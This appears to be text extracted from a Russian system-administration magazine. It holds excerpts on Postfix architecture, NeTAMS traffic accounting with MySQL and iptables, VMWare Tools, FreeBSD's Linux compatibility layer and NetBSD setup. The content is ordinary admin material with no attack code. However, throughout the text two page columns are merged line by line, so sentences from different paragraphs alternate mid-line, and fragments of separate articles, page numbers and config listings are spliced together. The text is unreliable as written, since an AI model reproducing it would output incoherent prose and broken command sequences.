НОВОСТИ 3 ПРОГРАММИРОВАНИЕ
Павел Закляков
БЕЗОПАСНОСТЬ amdk7@mail.ru 82
АРХИТЕКТУРА POSTFIX
В последнее время очень часто почтовые системы создаются на основе Postfix. Данный пакет
программного обеспечения стал довольно популярен среди администраторов всех видов UNIX-систем.
Причина такого хода событий тривиальна – Postfix характеризуется как феноменально простая
в освоении, удобная в настройке и чрезвычайно устойчивая система. Целью создания этого продукта
была надежда полностью заменить sendmail. Являясь монолитным сервером, sendmail небезопасен,
потому что одна-единственная ошибка может скомпрометировать всю программу.
АНДРЕЙ БЕШКОВ
4
администрирование
Давайте посмотрим, как выглядит изнутри почтовая сис- ! Все данные, приходящие из внешних источников по
тема, построенная на основе Postfix, и чем она отличает- умолчанию, считаются потенциально опасными, поэто-
ся от других систем, предназначенных для выполнения тех му должны быть проверены и отфильтрованы жесто-
же задач. Добиться этого можно, сосредоточив свое вни- чайшим образом.
мание на детальном изучении анатомии этой программы. ! Память для текстовых фрагментов и служебных буфе-
Очень надеюсь, что прилагающаяся к статье схема помо- ров выделяется динамически, что позволяет значитель-
жет нам в этом. но снизить вероятность успешного использования оши-
Во-первых, хотелось бы сказать, что костяк системы бок переполнения буфера. Слишком большие тексто-
построен на использовании нескольких полурезидентных вые массивы обрабатываются после разрезания на
программ. Каждая из них в соответствии с философией фиксированные фрагменты. После завершения всех
UNIX выполняет только одну задачу, но делает это хоро- нужных действий они снова склеиваются воедино. Та-
шо. В отличие от стандартного подхода, практикуемого кой подход позволяет существенно уменьшить требо-
qmail, при котором главная программа вызывает вспомо- вания программы к наличию оперативной памяти.
гательные по мере необходимости и позволяет им уми- ! Количество объектов, находящихся в памяти, строго
рать, когда они уже не нужны, резидентность служебных ограничено. Соответственно даже под большой нагруз-
программ позволяет сэкономить на создании новых про- кой Postfix не будет потреблять слишком много сис-
цессов. Впрочем, если грамотно распределить этапы об- темных ресурсов. Ведь скорость обработки почтовых
работки почты для каждой программы и несильно дробить сообщений вряд ли вырастет от того, что мы, к приме-
весь процесс, то подход, исповедуемый qmail-подобными ру, вместо десяти будем использовать двадцать буфе-
системами, будет вполне допустим. ров для обработки писем. Тут уже ограничителем выс-
В то же время нет необходимости в большом количе- тупает скорость аппаратных компонентов самой сис-
стве одновременно работающих программ, самостоятель- темы, а не количество объектов для обработки почты,
но выполняющих одно и то же действие, для находящихся хранящейся на диске.
в обработке писем. Их все можно заменить одним или
несколькими резидентными экземплярами нужной подси- Итак, разобравшись с основными концепциями дизай-
стемы, обрабатывающими по очереди все поступающие на системы, перейдем к детальному рассмотрению ее ар-
запросы. Соответственно любая служебная программа при хитектуры. Во главе всего стоит демон master, который
необходимости может запросто обратиться с запросами обычно запускается командой postfix при старте системы
к любому другому компоненту почтовой системы. и работает постоянно до тех пор, пока действует почто-
Такое жесткое деление на подсистемы позволяет легко вая система. Этот супердемон отвечает за запуск по тре-
отключать те модули, в которых вы не нуждаетесь. Напри- бованию всех остальных демонов и перезапуск тех из них,
мер, на пограничном межсетевом экране нет необходимо- которые преждевременно завершили свою работу из-за
сти держать включенным модуль, принимающий SMTP- каких-либо проблем. В его обязанности также входит сле-
соединения. Postfix имеет довольно сложное внутреннее дить, чтобы количество дочерних процессов не превыша-
устройство. На момент последнего релиза исходный код ло ограничения установленных в файле master.cf, и что-
насчитывал 30 000 строк после удаления комментариев. бы каждый из них жил не дольше, чем определено на-
Но в то же время все построено очень логично, и новому стройками почтовой системы. В дальнейшем в статье по
пользователю не приходится вникать в особенности реа- мере возможности вместо слова «демон» я буду употреб-
лизации сразу после установки системы. Необходимость лять слово «процесс». Думаю, так будет удобнее всего.
изучать систему глубже возникает только тогда, когда хо- Главное, не забывать, что наши демонизированные про-
чется сделать что-то нестандартное. Но и тут нас ожидают цессы в отличие от обычных процессов никогда не завер-
приятные неожиданности, благодаря своему логичному шаются самостоятельно, а лишь по приказу от master. Если
дизайну перевести систему в любой режим работы оказы- те или иные процессы простаивают из-за отсутствия ра-
вается достаточно просто. В таком большом комплексе при- боты, то по истечении определенного тайм-аута они бу-
ходится как можно тщательнее заботиться о безопасности дут принудительно завершены в целях экономии памяти.
системы. Для этого применяются следующие меры: Между собой все они общаются либо с помощью UNIX-
! Использование наименьших привилегий. Postfix может сокетов, либо через FIFO. Все каналы обмена находятся
быть легко ограничен с помощью chroot и работать от в специально защищенной директории. Несмотря на та-
имени самого бесправного пользователя. кие предосторожности, все данные, получаемые от раз-
! Ни одна из служебных программ не использует set-uid ных подсистем самого Postfix и внешних сущностей, обя-
бит. зательно подвергаются добавочным проверкам.
! Между программами, отвечающими за доставку почты, Потихоньку разобравшись с вопросом, кто здесь глав-
и пользовательскими процессами, работающими в си- ный, давайте посмотрим, какими путями письма появля-
стеме, отсутствуют отношения родитель-ребенок. Это ются внутри почтовой системы.
позволяет свести на нет попытки использования эксп- Самый частый случай – когда новые письма приходят
лоитов, основанных на том, что злонамеренный роди- через сетевое соединение. Первым делом их получает
тельский процесс может передавать дочернему спе- SMTP-демон. Если администратор включил соответству-
циально измененные переменные среды, сигналы, от- ющую возможность, то сначала будет произведена про-
крытые файлы. верка, не попадает ли письмо под ограничения UCE-филь-
6
администрирование
значения сообщения. В ответ можно будет лишь узнать, bounce посылает отправителю оповещение о неудаче
локальный ли получатель или он живет на удаленной сис- предпринятого действия и делает запись в протокол ра-
теме. Добавочную информацию о маршрутизации почты боты почтовой системы с помощью syslogd. А во втором
можно получить из файла transport. В зависимости от по- письмо помещается в специальную очередь deferred, где
лученных данных queue manager входит в контакт с од- оно должно дожидаться следующей попытки доставки.
ним из следующих агентов доставки: ! LMTP-клиент работает точно так же, как и SMTP-кли-
! Local – используется для доставки почты внутри локаль- ент, разве что протокол используется другой. LMTP спе-
ной системы. Умеет работать со стандартными для UNIX циально создан для того, чтобы доставлять письмо на
почтовыми ящиками. В случае если для данного пользо- локальный или удаленный сервер, выделенный для
вателя не заведено системных псевдонимов, в файле хранения почтовых ящиков. В таком качестве могут вы-
псевдонимов обычно это /etc/aliases и нет файлов локаль- ступать Courier- или Cyrus-сервер. Большим плюсом
ного перенаправления .forward, которые любой пользо- такого подхода к доставке писем является то, что один
ватель может создать в своей домашней директории, то сервер Postfix может раздавать письма разным серве-
письмо сразу же попадает в целевой почтовый ящик. В рам почтовых ящиков. В то же время никто не мешает
противном случае письмо будет передано туда, куда они одному серверу почтовых ящиков получать почту от
указывают. Возможности локального агента доставки на нескольких серверов postfix одновременно.
этом не заканчиваются. Одновременно могут работать ! Pipe mailer-интерфейс, предназначенный для работы
несколько агентов локальной доставки, но в то же время с внешними транспортными агентами. Примером та-
параллельная доставка нескольких писем в один почто- кого взаимодействия может служить работа с UUCP.
вый ящик обычно не практикуется. Несмотря на то, что В то же время никто не мешает нам привязать к дан-
агент локальной доставки может самостоятельно спра- ному интерфейсу свой самодельный транспорт.
виться со всеми проблемами, по желанию администра-
тор может задействовать механизмы, позволяющие пе- Как я уже говорил ранее, в случае если доставка не
редоверить доставку в почтовый ящик внешним програм- удалась, менеджер очередей переправляет файл, в кото-
мам. Примером такой программы может служить широ- ром хранится письмо, в директорию, где находится оче-
ко известный многим администраторам procmail. редь deferred. В ней складируются отложенные до лучших
! Virtual – агент виртуальной доставки представляет со- времен письма. На файл с письмом ставится временной
бой очень урезанную версию агента локальной достав- штамп, находящийся в будущем, соответственно следую-
ки. Поэтому он может работать только с почтовыми ящи- щая обработка этого файла произойдет именно в тот мо-
ками в формате mailbox. В нем также отсутствует под- мент, на который указывает штамп. Периодически менед-
держка системной базы псевдонимов и файлов .forward. жер очередей проверяет, не пришло ли время предпри-
За счет таких ограничений данный агент доставки счи- нять следующую попытку доставки отложенных сообще-
тается самым безопасным из всех. Благодаря своей при- ний. В случае если есть необходимость выполнить оче-
роде он может легко работать с почтой, предназначен- редную попытку раньше, чем истечет тайм-аут, нужно вос-
ной для нескольких виртуальных доменов, располагаю- пользоваться командой postfix flush.
щихся на одной и той же машине. Следующим интересным для нас понятием является
! SMTP-клиент, являющийся еще одним агентом, вступа- очередь corrupt. В нее попадают все поврежденные, не-
ет в действие в тот момент, когда нужно доставить пись- читаемые или неправильно отформатированные файлы
мо пользователю удаленной системы. Обычно queue почтовых очередей. Такая предосторожность позволяет
manager передает ему следующие данные: имя файла изолировать подозрительные данные до тех пор, пока ад-
очереди, адрес получателя, хост или домен, куда нужно министратор системы не решит, что с ними делать. Впро-
доставить почту, адрес отправителя. Первым делом с по- чем, за несколько лет непрерывной работы моего серве-
мощью DNS-запроса нужно получить список MX-серве- ра мне так и не удалось увидеть ни одного случая, чтобы
ров для целевого домена и отсортировать его по приори- сообщение попало в эту очередь.
тету. Следующим шагом мы начинаем пробовать каж- Последняя из существующих в системе очередей на-
дый адрес до тех пор, пока не найдем тот, который нахо- зывается hold. Здесь хранятся письма, доставка которых
дится в рабочем состоянии. Обычно доставка идет одно- приостановлена по тем или иным причинам. Они будут
временно сразу для нескольких доменов, поэтому в сис- находиться в этой очереди, пока не поступит специаль-
темах, через которые проходит большой поток почты, ная команда, выводящая их из состояния паузы.
можно увидеть несколько SMTP-клиентов, работающих Менеджер очередей может работать в разных режи-
параллельно. Если доставка завершилась удачно, то мах, обычно они называются стратегиями. В то же время
SMTP-клиент модифицирует файл почтовой очереди так, никто не мешает их комбинировать между собой. Давай-
чтобы было понятно, что он обработан. В противном слу- те рассмотрим характерные особенности каждого из них.
чае данный клиент уведомляет queue manager либо о ! leaky bucket – дырявое ведро. Жестко ограничивает ко-
фатальной ошибке, либо о временных затруднениях. личество сообщений в очереди active, тем самым за-
Проблемы первого типа могут быть вызваны отсутстви- щищая менеджера очередей от потребления чрезмер-
ем нужного пользователя удаленной системы, а вторые, ного объема памяти. Большая часть сообщений для до-
к примеру, неполадками в сети или неработоспособнос- ставки берется из очереди incoming и лишь малая часть
тью принимающего сервера. В первом случае процесс из deferred.
8
администрирование
Установку программы нельзя назвать тривиальной. Последняя строка позволяет установить библиотеку libipq.
В качестве сервера будем использовать Linux, посколь- Скачиваем NeTAMS с www.netams.org, последняя версия
ку с ним, в отличие от FreeBSD, возникает большинство на момент написания статьи 3.1(1801), и распаковываем:
проблем. Сервер является маршрутизатором с 2 сете-
выми картами, одна смотрит в Интернет, другая – в ло- # tar xvfz netams-3.1.1801.tar.gz
# cd netams-3.1.1801
кальную сеть. # vi Makefile
Создаем базу netams, в которую NeTAMS будет писать К ней можно подключиться, набрав:
данные:
telnet netams_host 20001
mysql> create database netams;
mysql> connect netams;
Далее надо ввести логин и пароль – в нашем случае
Вручаем права пользователю netams-user: admin и 123. Введя «?», можно получить справку по ко-
мандам.
mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE ↵ Теперь займемся подсчетом трафика.
on netams.* to netamsuser;
mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE ↵ В уже созданный файл допишем еще несколько сер-
on netams.* to netamsuser@localhost; висов, после чего он примет вид:
10
администрирование
password passwd Здесь есть один очень важный момент. Дело в том,
service data-source 1
что с помощью приведенных выше правил iptables все
type ip-traffic входящие и исходящие пакеты поступают в системную
service html 1
очередь, откуда их будет брать NeTAMS. Однако если в
path /var/www/localhost/netams момент активизации iptables NeTAMS не будет запущен,
run 1min пакеты будут поступать в системную очередь и пропа-
client-pages all
дать там, т.к. не будет программы, которая отправит их
Разберем написанное. Обращаю внимание, что в пре- обратно. В результате пропадает коннект до сервера.
делах одного сервиса пустые строки недопустимы. Дело Поэтому в процессе отладки надо либо сидеть за консо-
в том, что с точки зрения NeTAMS после пустой строки лью сервера, либо в случае удаленного администриро-
должно идти начало нового сервиса, и в случае обнару- вания тренироваться на icmp-трафике (в сервисе
жения пустой строки, за которой не идет определение сер- processor 0 поменять значение параметра policy target ip
виса, NeTAMS будет аварийно завершать работу. на target icmp, и в правилах iptables аналогично заме-
! service processor 0 – ядро системы, в нем определяют- нить –p all на –p icmp). А порядок запуска такой: сначала
ся объекты, по которым будет идти учет. запускаем NeTAMS, потом iptables. Соответственно по-
! policy acct name all-ip target ip – определяет политику, рядок остановки обратный – сначала останавливаем
по которой будет производиться подсчет трафика, в iptables, потом NeTAMS.
данном случае политика с именем all-ip (параметр Каждый объект имеет свой уникальный шестнадцате-
name) будет считать весь IP-трафик. Параметр target ричный идентификатор (OID), который является ключом
может принимать следующие значения: в базе данных. Он генерируется автоматически после пер-
! ip – весь IP-трафик; вого запуска, поэтому чтобы статистика не пропала, пос-
! icmp – весь icmp-трафик; ле запуска программы надо подключиться к ней с помо-
! tcp – весь tcp-трафик; щью telnet и выполнить команду save. Она перезапишет
! udp – весь udp-трафик; netams.cfg, добавив в него сгенерированные OID. Таким
! tcp-http – весь tcp-трафик, входящий или исходящий, образом, наш файл будет выглядеть так:
порты которого 80, 808, 8080, 3128, 442;
! tcp-ports – весь tcp-трафик на указанные порты; #NeTAMS version 3.1(1801.7) compiled by root@localhost
#configuration built Thu Apr 1 09:25:23 2004
! udp-ports весь udp-трафик на указанные порты. #begin
! unit host name linux-gw ip 195.x.x.x acct-policy all-ip – опре- #global variables configuration
debug none
деляет объект, для которого будет производиться под- user oid 01327B name admin real-name "Admin" ↵
счет трафика. В данном случае объект host с именем linux- crypted $1$$GmbL3iXOMZR57QuGDLv.L1
schedule oid 08FFFF time 1min- action "html"
gw, IP-адресом 195.x.x.x (внешний адрес маршрутизато-
ра) и определенной выше политикой all-ip. Таким обра- #services configuration
зом, с помощью этого правила мы считаем весь IP-тра- service server 0
фик, поступающий из Интернета на наш маршрутизатор. login any
listen 20001
! storage 1 all – передает все данные сервису storage 1. max-conn 6
! service storage 1 – сервис, определяющий тип и пара- service processor 0
метры доступа к БД, в которой будет сохраняться ста- lookup-delay 10
тистика. policy acct oid 036633 name all-ip target ip
restrict all pass local pass
! service data-source 1 – обеспечивает поступление дан- unit host 022EB1 name linux-gw ip 195.x.x.x ↵
ных о трафике внутрь программы. В данном случае оп- acct-policy all-ip
storage 1 all
ределен источник данных ip-traffic. Этот источник ра-
ботает с системной очередью, в которую с помощью service storage 1
type mysql
iptables попадают пакеты. user netamsuser
! service html 1 – организует автоматическое периоди- password passwd
ческое создание статических html-страниц, содержа- service data-source 1
щих информацию о прошедшем трафике. Периодич- type ip-traffic
ность создания задается параметром run, в данном слу- service html 1
чае она равна 1 минуте. path /var/www/localhost/netams
run 1min
client-pages all
Теперь запускаем программу в режиме демона:
Мы рассмотрели простейший случай подсчета трафи-
# netams ка от провайдера до шлюза. В документации, поставляе-
мой с программой, настройка описана более детально.
и определим правила iptables, с помощью которых дан- Например, для каждого пользователя в локальной сети
ные будут поступать в программу: можно настроить квоту, при превышении которой NeTAMS
автоматически отключит доступ в Интернет. К тому же на
$IPTABLES -t mangle -A POSTROUTING -p all -j QUEUE сайте www.netams.com есть русскоязычный форум, в ко-
$IPTABLES -t mangle -A PREROUTING -p all -j QUEUE тором можно найти ответы на любой возникший вопрос.
АНДРЕЙ БЕШКОВ
С момента публикации первых статей о VMWare Workstation Большинство наших проблем происходит от того, что
прошло уже довольно много времени. Кое-что поменялось сразу же после установки система не смогла найти драй-
в лучшую сторону. Например, вышла новая версия этого веров, подходящих для нашего виртуального железа. Для
программного пакета. Сегодня хотелось бы ответить на примера посмотрим, как обстоят дела в гостевой системе
вопросы читателей, наиболее часто возникающие во вре- Windows 98. Список оборудования выглядит следующим
мя пользования программой. Видимо, пришла пора напи- образом.
сать по возможности краткую инструкцию, рассказываю-
щую о решении проблем, не затронутых нами в предыду-
щих статьях.
Сразу же определимся, что сегодня в отличие от пре-
дыдущих раз, где речь шла о VMWare 4.0, я буду говорить
о VMWare версии 4.5. Это предполагает некоторые несу-
щественные различия, которые пользователи старой вер-
сии должны учесть, если собираются воплощать в жизнь
все, что будет здесь изложено.
В первую очередь мы обсудим комплект дополнительно-
го программного обеспечения, поставляющегося вместе с
VMWare Workstation. Название у него довольно традицион-
ное и, видимо, не станет для вас сюрпризом, это VMWare
Tools.
После первичной инсталляции любой из официально
поддерживаемых гостевых систем многие из читателей Согласитесь, наличие такого огромного количества
столкнулись с тем фактом, что работает все вроде бы ста- желтых вопросиков и восклицательных знаков до добра
бильно, но скорость все же не та, на которую можно было не доведет. Проблема в том, что хоть виртуальные уст-
бы рассчитывать. Попытки проиграть звук или установить ройства и маскируются под реально существующие в при-
разрешение экрана выше, чем 640х480, и цветность бо- роде, но все же стандартные драйвера от производите-
лее 16 цветов ничем хорошим не заканчиваются. Курсор лей железа к ним либо совсем не подходят, либо не спо-
мыши тоже как-то слишком вяло реагирует на наши дви- собны правильно реализовать все требуемые функции.
жения. Конечно, можно работать и так, но все же хочется Поэтому приступим к инсталляции специальных перера-
жить с комфортом. Да и надпись в нижнем левом углу ботанных драйверов, включенных в состав VMWare Tools.
каждой запущенной виртуальной машины прямо намека- Сделать это довольно просто, нужно всего лишь запус-
ет на желательность установки компонента VMWare Tools. тить гостевую систему и, дождавшись окончания загруз-
ки, воспользоваться меню VM → Install VMWare Tools. На
экране появится следующая надпись.
12
администрирование
Чаще всего видеодрайвер устанавливается автома-
тически после перезагрузки системы, но иногда этого не
случается. Если у вас именно такая ситуация, то нужно
сделать это вручную. Снова выбираем пункт меню VM →
Install VMWare Tools, чтобы примонтировать к нашему
виртуальному CD нужный образ. Затем проходим через
такую последовательность: Панель управления → Сис-
тема → Устройства → Видеоадаптер → Свойства →
Драйвер → Обновить драйвер. Устанавливаем переклю-
На первый взгляд все нормально, но внимательно про- чатели в положение «Отобразить весь список всех драй-
читав ее, приходишь к выводу, что второе предложение веров, чтобы мы могли выбрать наиболее подходящий
явно противоречит первому. Получается, что установить из них». На следующем экране жмем кнопку «установить
компонент в запущенную систему невозможно, но если с диска». И выбираем драйвер так же, как изображено
система не работает, то нужно отменить установку и дож- на следующем рисунке.
даться другого раза. Поэтому мы игнорируем все предуп-
реждения и жмем кнопку «Install». После этого диск, пред-
ставляющий виртуальный CD-ROM, будет принудительно
размонтирован и заменен имиджем диска, содержащего
в себе нужную нам версию VMWare Tools. Этот факт как
раз отображен на следующем снимке экрана.
14
администрирование
ненно необходима, но все же ее использование может
принести некоторое удобство.
Одной из самых больших приятностей, предоставляе-
мых VMWare Tools, являются папки общего доступа
«Shared Folders». Суть этого явления довольно проста. Мы
можем спроецировать любую папку основной операцион-
ной системы или любой сетевой диск, доступный с этой
системы, на сетевую папку общего доступа в гостевой
системе. Соответственно нам легко и просто становятся
доступны функции файлового обмена между основной и
несколькими гостевыми системами. Хотя для тех систем, которые его поддерживают, карти-
Используя глобальное меню VMWare и пройдясь по на существенно не меняется. Если честно, то мне непонят-
пунктам VM → Settings → Option → Shared Folders, попа- но, для чего, собственно, была создана эта вкладка, если
даем в контрольную панель, с помощью которой можно она не позволяет ничем управлять. Кстати, в UNIX-подоб-
управлять этой полезной возможностью. ных гостевых системах эта вкладка вообще отсутствует.
Оставим это досадное недоразумение на совести дизайне-
ров интерфейса. Ну а мы лучше посмотрим, как выглядят
папки общего доступа с точки зрения гостевой системы.
16
администрирование
Судя по тем сведениям, что появились на экране, у нас
один раздел с файловой системой NTFS и его размер
8 369 802 сектора. Теперь давайте перейдем к немного
более сложному примеру. Возьмем диск от FreeBSD 4.9.
# /usr/bin/vmware-mount.pl ./Server2000_Enterprise.vmdk ↵
1 /mnt/vmware
$ /usr/bin/vmware-mount.pl -p ./Server2003_Enterprise.vmdk
FreeBSD-БИНАРНАЯ
СОВМЕСТИМОСТЬ Мы с тобой одной крови – ты и я.
Р. Киплинг «Маугли»
С LINUX
АНДРЕЙ БЕШКОВ
Если спросить любого мало-мальски искушенного в ком- сконцентрировать свое внимание на самом выгодном с
пьютерных системах человека, какая UNIX-система на его точки зрения варианте операционной системы. В дан-
данный момент наиболее популярна, большинство, не за- ном случае комбинация системы и набора программного
думываясь, ответят – Linux. Несмотря на то что, по моему обеспечения, с которым клиент желает работать, будут
мнению, в мире существует немало систем, которые по тесно связаны между собой. Поэтому на рынке довольно
своим объективным качествам превосходят пингвина и его часто встречается ситуация, когда заказчику приходится
производные, все же любимцем публики стал именно он. работать с операционной системой, с которой он ни за
Такую огромную популярность этой системы можно объяс- какие коврижки не стал бы связываться при других об-
нить несколькими факторами. Linux проще в первоначаль- стоятельствах. Идти на такие жертвы приходится только
ном освоении, чем многие его конкуренты. Диалектов из-за того, что нужная ему программа существует только
Linux существует великое множество, и соответственно для этой и никакой другой системы. Возможно, то, о чем
каждый алчущий избавления от засилья Microsoft может мы будем говорить сегодня, поможет сгладить эту непри-
найти себе что-то наиболее близкое к представлению об ятную зависимость и отсутствие выбора.
идеальной системе. В отличие от поклонников BSD-сис- Таким образом, наша беседа неспешно подошла к
тем, которые спокойно и тихо делают свое дело, пользо- тому, что успех Linux в определенной мере полезен всем
ватели Linux довольно активно пропагандируют свое ув- свободным UNIX-подобным системам. Сегодня мы пого-
лечение как образ жизни. В то же время лицензия на ком- ворим о том, как пользователи FreeBSD могут приобщить-
поненты и инструменты, используемые в процессе рабо- ся к плодам Linux, благополучно заимствуя у своего пинг-
ты, намного либеральнее, чем обычная BSD-лицензия, что виновидного родственника те программы, которые отсут-
делает систему гораздо привлекательнее для создания ствуют в нашей продуктовой корзине. Для этого нам по-
проприетарного программного обеспечения. Многие боль- требуется всего лишь включить так называемый механизм
шие игроки этого рынка довольно быстро осознали эти бинарной совместимости, изначально встроенный в не-
преимущества, поэтому довольно часты случаи, когда зак- дра FreeBSD. А это, в свою очередь, позволит запускать и
рытое по своей сути программное обеспечение для Linux успешно эксплуатировать большинство Linux-программ
раздается гигантами индустрии бесплатно в скомпилиро- без всякой переделки внутри FreeBSD. Для всех приме-
ванном специально для этой системы виде. Единствен- ров, приводимых в статье, использовалась FreeBSD вер-
ной тайной остается исходный текст таких подарков, обыч- сии 4.9, хотя под более младшими версиями системы все
но содержащий те или иные секретные ноу-хау. В то же вышеописанное должно работать примерно так же.
время при использовании BSD-систем надеяться на та- Давайте предпримем небольшой экскурс в историю
кие жесты доброты не стоит. Такова объективная реаль- обсуждаемого вопроса. Началось все в середине1996 года.
ность, данная нам в ощущениях, и раздувать из-за этого Только что вышла FreeBSD 2.1.5 и Linux постепенно начи-
религиозные войны не стоит. Часто обстоятельства скла- нал набирать популярность в пока что узких кругах своих
дываются так, что свободно распространяемых аналогов энтузиастов. Разработчики FreeBSD довольно быстро за-
закрытого обеспечения не создано и, вероятнее всего, они метили потенциал Linux и решили, что бинарная совмести-
никогда не появятся на свет, особенно для BSD. Для меня мость с такой перспективной системой будет весьма кста-
столь необходимыми программами являются Citrix ICA ти. К тому моменту FreeBSD уже была способна запускать
Client, позволяющий работать с сервером Citrix MetaFrame приложения, написанные для MS-DOS и SCO Unix. Поэто-
и Аcrobat Reader. му для того чтобы работа с Linux-программами стала воз-
В то же время производителя вполне можно понять. можна, не пришлось открывать новые континенты и делать
Для осуществления квалифицированной поддержки поль- какие-то кардинальные изменения в коде эмулятора. К на-
зователей своей программы, работающей на разных сис- чалу 1997 года система эмуляции уже была способна за-
темах, нужно иметь в своем распоряжении довольно боль- пускать Applixware, скомпилированный для Red Hat Linux.
шое количество инженеров, консультантов и разработчи- К тому моменту в разговорах о подсистеме, обеспечиваю-
ков. С каждой новой операционной системой список этих щей совместимость с Linux, постепенно выкристаллизовал-
людей растет. Во многих случаях оплачивать такое коли- ся и приобрел популярность термин, которым разработ-
чество высококлассных специалистов экономически не- чики и пользователи пытались описать то, что происхо-
выгодно. Соответственно производитель снова вынужден дит внутри программы, запускаемой в чужеродной среде.
18
администрирование
К сожалению, на тот момент никто так и не смог предло- Можно поступить по-другому. Запускаем программу
жить названия лучшего, чем «бинарная эмуляция». Как мы /stand/sysinstall и проходим через меню Configure →
убедимся позднее, при подробном рассмотрении архитек- Packages, затем необходимо выбрать, откуда будет взят
туры обсуждаемой системы этот термин не имеет ничего пакет ftp, http, CD. Затем перейти в раздел emulators и
общего с реальным положением вещей. Но об этом позволь- выбрать все тот же пакет linux_base. По завершении ин-
те сказать позднее. С каждым годом количество поддер- сталляции не забываем внести изменения в /etc/rc.conf.
живаемых приложений росло за счет все более точной ре- После перезагрузки системы можно будет запускать Linux-
ализации Linux API. На данный момент существует мнение, программы. Доказательством того, что все идет по плану,
выражаемое разработчиками системы, которое говорит, будет следующая надпись, появляющаяся после загрузки
что 90% Linux-программ будут работать так же надежно под на системной консоли: «Additional ABI support: Linux».
управлением FreeBSD, как и под крылом родной системы. Убедиться, что модуль правильно загрузился, можно,
Самыми известными из них являются: выполнив команду kldstat. В ответ должны получить что-
! VMWare Workstation ! Mathematica то вроде этого:
! ORACLE ! Maple
! SAP/R3 ! Quake
! Crossover Office ! SAP Notes
! WordPerfect ! Doom
! RealPlayer В директории /usr/compat/linux появится иерархия фай-
лов, созданная по образу и подобию нашей виртуальной
Единственная проблема, которая может помешать Linux- Linux-системы.
программе спокойно жить в нашей системе, это слишком
глубокое использование файловой системы /proc, так как
ее реализация весьма отличается от системы к системе.
Еще одной западней для Linux-программы могут стать не-
стандартные способы работы с устройствами. В осталь-
ном же система работает на удивление хорошо прозрач-
но и стабильно.
Платой за такую переносимость станет потеря пример-
но 2% быстродействия. Хотя по странному стечению об-
стоятельств некоторые чужие приложения функциониру-
ют под управлением FreeBSD даже быстрее, чем под Linux, Версию установленной системы можно узнать вот так:
особенно часто такой эффект наблюдается при работе
приложений, записывающих очень много данных на жес-
ткие диски. Видимо, файловая система ufs в данном ас- В случае если вам не хочется подгружать необходи-
пекте является лучшей альтернативой, чем ext3, стандар- мый модуль, при старте системы можно жестко вкомпи-
тная для Linux. лировать его в ядро. Для этого нужно дописать в файл
Ну что же, давайте приступим к инсталляции единствен- конфигурации нового ядра опцию:
ного пакета linux_base. Выполнить это немудреное действо
можно несколькими способами. Первый раз это обычно пред- options LINUX
лагают сделать при первоначальной установке системы.
И затем произвести компиляцию и установку свеже-
собранного ядра. Выбор используемого пути оставляю за
вами, в любом случае бинарная совместимость должна
работать, если вы правильно выполнили мои инструкции.
Закончив с инсталляцией, давайте разберемся, как же
работает эта магическая комбинация, позволяющая за-
Если вы пропустили этот момент или ответили нет, то пускать вожделенные Linux-приложения. Многие техничес-
огорчаться не стоит. Можно выполнить инсталляцию с по- ки продвинутые читатели будут удивлены описываемыми
мощью портов. возможностями. И впрямь, несмотря на схожесть идеоло-
гий, две обсуждаемые системы весьма отличаются друг
# cd /usr/ports/emulators/linux_base от друга реализацией своих внутренних API (Application
# make install distclean
Programming Interface). Давайте подробнее разберемся в
И добавить в файл /etc/rc.conf следующую строку: этом запутанном вопросе. Практически все UNIX-подоб-
ные системы состоят из двух компонентов. Это ядро, от-
linux_enable= "YES" вечающее за работу с устройствами, системой безопас-
ности, и системные утилиты вкупе с пользовательскими
Данная строка указывает системе, что во время стар- программами, которые выполняют свои задачи, опираясь
та надо загружать модуль ядра linux.ko, отвечающий за на системные функции, предоставляемые ядром. К при-
нужную нам функциональность. меру, если программа желает открыть какой-либо файл,
20
администрирование
запускать не /usr/bin/uname, а /usr/compat/linux/bin/uname.
Исправить положение очень легко, нужно найти все вхож-
дения символов uname в тексте скрипта и заменить их на
luname. А затем в директории /usr/bin создать жесткую
ссылку с именем luname на /usr/compat/bin/uname. Пере-
загружаем систему. Теперь запускаем acroread и радуем-
ся как малые дети.
Конечно, можно было бы не создавать никаких ссы-
лок, а просто вместо uname написать /usr/compat/linux/bin/
uname, но я человек ленивый и стараюсь уменьшить ко-
личество совершаемых телодвижений. К тому же данная
проблема довольно типична для скриптов Linux-приложе-
ний, поэтому ссылка на luname вам пригодится скорее все-
го еще не один раз. Кстати, стоит отметить, что некото-
рые приложения могут требовать для нормального функ-
ционирования некоторые библиотеки, используемые для
Для удачной установки Acrobat Reader придется пово- разработки других приложений. Ярким примером такой
зиться чуть больше. Распаковываем дистрибутив и запус- разновидности программ выступает ORACLE. Поэтому
каем скрипт INSTALL. Проблема в том, что программисты нам лучше поставить еще один добавочный пакет, назы-
фирмы Adobe пытаются не позволить нам пользоваться ваемый linux_devtools.
их детищем под управление FreeBSD.
В ответ получаем следующую надпись: # # cd /usr/ports/emulators/linux_devtools
# make package
В этой статье речь пойдет об ОС NetBSD. К сожалению, документации на русском языке по этой ОС
практически нет. Как-то не прижилась NetBSD в нашей стране, нельзя сказать, что эту систему
вообще никто не использует, но все же количество людей, имеющих с ней дело, очень невелико.
АЛЕКСАНДР БАЙРАК
Хотя на Западе NetBSD достаточно популярна. В принци- pub/NetBSD/iso. Далее выбираете версию системы, кото-
пе это легко объяснить. Главный козырь NetBSD в ее мно- рая установлена у вас, и списываете файл sourcecd.iso.
гоплатформенности, она одинаково хорошо будет рабо-
тать как на карманных компьютерах типа HP Jordana 728, Afterboot, или Что следует сделать сразу
так и на больших 64-разрядных Alpha. Конечно, она рабо- после первой загрузки
тает и на x86. И если за рубежом количество машин с от- Вполне логично сразу после загрузки сконфигурировать
личной от x86 архитектурой достаточно велико, у нас же сеть. Делается это так: в /etc/rc.conf (предварительно изу-
если где и есть SPARC или MIPS, то люди в основном пред- чив /etc/defaults/rc.conf) пишем:
почитают использовать на них их родные ОС. На x86
NetBSD тоже почему-то ставят нечасто, вроде как и «ос- hostname=”you.host.name”
тальных» систем достаточно, а разбираться с чем-то но-
вым у кого времени, а у кого и желания нет. До недавнего Задается имя вашего хоста:
времени в рунете была только одна статья, посвященная
NetBSD (http://www.linuxshop.ru/unix4all/?cid=28&id=325). defaultrouter=”x.x.x.x”
Не так давно Андрей Бешков написал отличную статью, по-
священную этой системе (смотри августовский номер жур- Указывается IP шлюза:
нала за 2003 г. или http://onix.opennet.ru/netbsd/netbsd.html).
Я вам очень советую ее почитать, в статье в простой и ifconfig_zz=”x.x.x.x/xx”
доступной форме расписан процесс установки ОС. После
